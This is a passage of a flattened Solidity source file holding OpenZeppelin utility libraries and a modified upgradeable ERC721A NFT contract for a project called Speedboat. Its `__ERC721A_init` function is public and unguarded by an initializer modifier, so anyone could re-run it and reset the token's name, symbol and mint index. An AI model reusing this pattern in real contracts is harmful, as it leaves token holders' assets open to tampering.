support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts-upgradeable/proxy/utils/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // File @openzeppelin/contracts-upgradeable/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts-upgradeable/utils/introspection/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // File contracts/ERC721ASBUpgradable.sol // author: yoyoismee.eth -- it's opensource but also feel free to send me coffee/beer. // ╔═╗┌─┐┌─┐┌─┐┌┬┐┌┐ ┌─┐┌─┐┌┬┐┌─┐┌┬┐┬ ┬┌┬┐┬┌─┐ // ╚═╗├─┘├┤ ├┤ ││├┴┐│ │├─┤ │ └─┐ │ │ │ ││││ │ // ╚═╝┴ └─┘└─┘─┴┘└─┘└─┘┴ ┴ ┴o└─┘ ┴ └─┘─┴┘┴└─┘ // ERC721A Creator: Chiru Labs // GJ mate. interesting design :) pragma solidity 0.8.13; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerQueryForNonexistentToken(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); error AllOwnershipsHaveBeenSet(); error QuantityMustBeNonZero(); error NoTokensMintedYet(); error InvalidQueryRange(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). * * Speedboat team modified version of ERC721A - upgradable */ contract ERC721ASBUpgradable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; uint256 public nextOwnerToExplicitlySet; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). * SB: change to public. anyone are free to pay the gas lol :P */ function setOwnersExplicit(uint256 quantity) public { if (quantity == 0) revert QuantityMustBeNonZero(); if (_currentIndex == _startTokenId()) revert NoTokensMintedYet(); uint256 _nextOwnerToExplicitlySet = nextOwnerToExplicitlySet; if (_nextOwnerToExplicitlySet == 0) { _nextOwnerToExplicitlySet = _startTokenId(); } if (_nextOwnerToExplicitlySet >= _currentIndex) revert AllOwnershipsHaveBeenSet(); // Index underflow is impossible. // Counter or index overflow is incredibly unrealistic. unchecked { uint256 endIndex = _nextOwnerToExplicitlySet + quantity - 1; // Set the end index to be the last token index if (endIndex + 1 > _currentIndex) { endIndex = _currentIndex - 1; } for (uint256 i = _nextOwnerToExplicitlySet; i <= endIndex; i++) { if ( _ownerships[i].addr == address(0) && !_ownerships[i].burned ) { TokenOwnership memory ownership = _ownershipOf(i); _ownerships[i].addr = ownership.addr; _ownerships[i].startTimestamp = ownership.startTimestamp; } } nextOwnerToExplicitlySet = endIndex + 1; } } /** * @dev Returns the `TokenOwnership` struct at `tokenId` without reverting. * * If the `tokenId` is out of bounds: * - `addr` = `address(0)` * - `startTimestamp` = `0` * - `burned` = `false` * * If the `tokenId` is burned: * - `addr` = `<Address of owner before token was burned>` * - `startTimestamp` = `<Timestamp when token was burned>` * - `burned = `true` * * Otherwise: * - `addr` = `<Address of owner>` * - `startTimestamp` = `<Timestamp of start of ownership>` * - `burned = `false` */ function explicitOwnershipOf(uint256 tokenId) public view returns (TokenOwnership memory) { TokenOwnership memory ownership; if (tokenId < _startTokenId() || tokenId >= _currentIndex) { return ownership; } ownership = _ownerships[tokenId]; if (ownership.burned) { return ownership; } return _ownershipOf(tokenId); } /** * @dev Returns an array of `TokenOwnership` structs at `tokenIds` in order. * See {ERC721AQueryable-explicitOwnershipOf} */ function explicitOwnershipsOf(uint256[] memory tokenIds) external view returns (TokenOwnership[] memory) { unchecked { uint256 tokenIdsLength = tokenIds.length; TokenOwnership[] memory ownerships = new TokenOwnership[]( tokenIdsLength ); for (uint256 i; i != tokenIdsLength; ++i) { ownerships[i] = explicitOwnershipOf(tokenIds[i]); } return ownerships; } } /** * @dev Returns an array of token IDs owned by `owner`, * in the range [`start`, `stop`) * (i.e. `start <= tokenId < stop`). * * This function allows for tokens to be queried if the collection * grows too big for a single call of {ERC721AQueryable-tokensOfOwner}. * * Requirements: * * - `start` < `stop` */ function tokensOfOwnerIn( address owner, uint256 start, uint256 stop ) external view returns (uint256[] memory) { unchecked { if (start >= stop) revert InvalidQueryRange(); uint256 tokenIdsIdx; uint256 stopLimit = _currentIndex; // Set `start = max(start, _startTokenId())`. if (start < _startTokenId()) { start = _startTokenId(); } // Set `stop = min(stop, _currentIndex)`. if (stop > stopLimit) { stop = stopLimit; } uint256 tokenIdsMaxLength = balanceOf(owner); // Set `tokenIdsMaxLength = min(balanceOf(owner), stop - start)`, // to cater for cases where `balanceOf(owner)` is too big. if (start < stop) { uint256 rangeLength = stop - start; if (rangeLength < tokenIdsMaxLength) { tokenIdsMaxLength = rangeLength; } } else { tokenIdsMaxLength = 0; } uint256[] memory tokenIds = new uint256[](tokenIdsMaxLength); if (tokenIdsMaxLength == 0) { return tokenIds; } // We need to call `explicitOwnershipOf(start)`, // because the slot at `start` may not be initialized. TokenOwnership memory ownership = explicitOwnershipOf(start); address currOwnershipAddr; // If the starting slot exists (i.e. not burned), initialize `currOwnershipAddr`. // `ownership.address` will not be zero, as `start` is clamped to the valid token ID range. if (!ownership.burned) { currOwnershipAddr = ownership.addr; } for ( uint256 i = start; i != stop && tokenIdsIdx != tokenIdsMaxLength; ++i ) { ownership = _ownerships[i]; if (ownership.burned) { continue; } if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { tokenIds[tokenIdsIdx++] = i; } } // Downsize the array to fit. assembly { mstore(tokenIds, tokenIdsIdx) } return tokenIds; } } /** * @dev Returns an array of token IDs owned by `owner`. * * This function scans the ownership mapping and is O(totalSupply) in complexity. * It is meant to be called off-chain. * * See {ERC721AQueryable-tokensOfOwnerIn} for splitting the scan into * multiple smaller scans if the collection is large enough to cause * an out-of-gas error (10K pfp collections should be fine). */ function tokensOfOwner(address owner) public view returns (uint256[] memory) { unchecked { uint256 tokenIdsIdx; address currOwnershipAddr; uint256 tokenIdsLength = balanceOf(owner); uint256[] memory tokenIds = new uint256[](tokenIdsLength); TokenOwnership memory ownership; for ( uint256 i = _startTokenId(); tokenIdsIdx != tokenIdsLength; ++i ) { ownership = _ownerships[i]; if (ownership.burned) { continue; } if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { tokenIds[tokenIdsIdx++] = i; } } return tokenIds; } } function __ERC721A_init(string memory name_, string memory symbol_) public { __Context_init_unchained(); __ERC165_init_unchained(); _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 1; // SB: change to start from 1 - modified from original 0. since others SB's code reserve 0 for a random stuff } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if ( to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data) ) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } /** * @dev Equivalent to `_safeMint(to, quantity, '')`. */ function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement * {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if ( !_checkContractOnERC721Received( address(0), to, updatedIndex++, _data ) ) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint(address to, uint256 quantity) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Equivalent to `_burn(tokenId, false)`. */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File @openzeppelin/contracts/access/[email protected] // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed 